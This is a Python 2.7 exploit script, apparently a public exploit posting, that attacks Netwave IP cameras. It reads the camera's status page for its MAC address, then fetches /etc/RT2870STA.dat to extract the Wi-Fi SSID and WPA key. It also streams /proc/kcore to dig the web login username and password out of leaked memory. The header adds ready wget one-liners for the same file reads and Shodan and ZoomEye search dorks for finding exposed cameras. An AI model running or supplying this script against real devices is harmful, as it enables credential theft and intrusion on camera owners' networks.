Netwave IP Camera – Password Disclosure
#!/usr/bin/python2.7 ## ## spiritnull(at)sigaint.org ## ## Run the exploit against the victim to get WIFI password ## If the victim is vulnerable to memory leak it will try to extract the username and password for the weblogin ## ## magic for you bash: ## wget -qO- http://[HOST]:[PORT]//proc/kcore | strings ## wget -qO- http://[HOST]:[PORT]//etc/RT2870STA.dat ## wget -qO- http://[HOST]:[PORT]//dev/rom0 ## wget -qO- http://[HOST]:[PORT]/get_status.cgi ## ## shodan dork: ## "Server: Netwave IP Camera" ## ## zoomeye dork: ## Netwave IP camera http config ## import sys,os,time,tailer import urllib2 import subprocess import signal from threading import Thread try: if sys.argv[1] == "-h" or sys.argv[1] == "--help": print "Usage: python pownetwave.py [HOST]:[PORT]" print "Example: python pownetwave.py 127.0.0.1:81" sys.exit(0) else: pass except IndexError: print "Usage: python pownetwave.py [HOST]:[PORT]" print "Example: python pownetwave.py 127.0.0.1:81" sys.exit(0) def signal_handler(signal, frame): print('\nclearing up..') os.system("rm -rf tmpstream.txt") os.system("rm -rf tmpstrings.out") os.system("killall -9 wget") os.system("killall -9 tail") sys.exit(0) signal.signal(signal.SIGINT, signal_handler) macaddr = "" done = 0 linecount = 0 class bcolors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' print "getting system information.."+sys.argv[1] response = urllib2.urlopen('http://'+sys.argv[1]+'/get_status.cgi') xcontent = response.read().split(";\n") for line in xcontent: if line.startswith("var id="): line = line.split("'") macaddr = line[1] else: pass print "victims MAC-ADDRESS: "+bcolors.OKGREEN+str(macaddr)+bcolors.ENDC print "getting wireless information.." try: resp = urllib2.urlopen("http://"+sys.argv[1]+"//etc/RT2870STA.dat") xcontent = resp.read().split("\n") print "victims wireless information.." for line in xcontent: if line.startswith("WPAPSK") or line.startswith("SSID"): print "\t\t"+bcolors.OKGREEN+str(line)+bcolors.ENDC else: print "\t\t"+str(line) except: print "wireless lan is disabled.." print "checking for memory dump vulnerability.." try: urllib2.urlopen('http://'+sys.argv[1]+'//proc/kcore') except: print bcolors.FAIL+"victim isnt vulnerable for a memory leak, exiting.."+bcolors.ENDC sys.exit(0) print "starting to read memory dump.. "+bcolors.WARNING+"this could take a few minutes"+bcolors.ENDC proc = subprocess.Popen("wget -qO- http://"+sys.argv[1]+"//proc/kcore > tmpstream.txt", shell=True, preexec_fn=os.setsid) os.system('echo "" >tmpstrings.out') time.sleep(1) proc2 = subprocess.Popen("tail -f tmpstream.txt | strings >>tmpstrings.out", shell=True, preexec_fn=os.setsid) print bcolors.BOLD+"hit CTRL+C to exit.."+bcolors.ENDC while 1: sys.stdout.flush() if os.stat('tmpstrings.out').st_size <= 1024: sys.stdout.write("binary data: "+str(os.stat('tmpstream.txt').st_size)+"\r") else: sys.stdout.flush() print "strings in binary data found.. password should be around line 10000" for line in tailer.follow(open('tmpstrings.out','r')): sys.stdout.flush() if done == 0: linecount+= 1 if line == macaddr: sys.stdout.flush() done = 1 print bcolors.OKGREEN+"\n\nmac address triggered.. printing the following dumps, could leak username and passwords.."+bcolors.ENDC else: sys.stdout.write(str(linecount)+"\r") elif done == 1: done = 2 print "\nfirstline.. "+bcolors.OKGREEN+line+bcolors.ENDC elif done == 2: done = 3 print "possible username: "+bcolors.OKGREEN+line+bcolors.ENDC elif done == 3: done = 4 print "possible password: "+bcolors.OKGREEN+line+bcolors.ENDC elif done == 4: done = 0 print "following line.. \n\n"+bcolors.OKGREEN+line+bcolors.ENDC else: pass signal.pause() |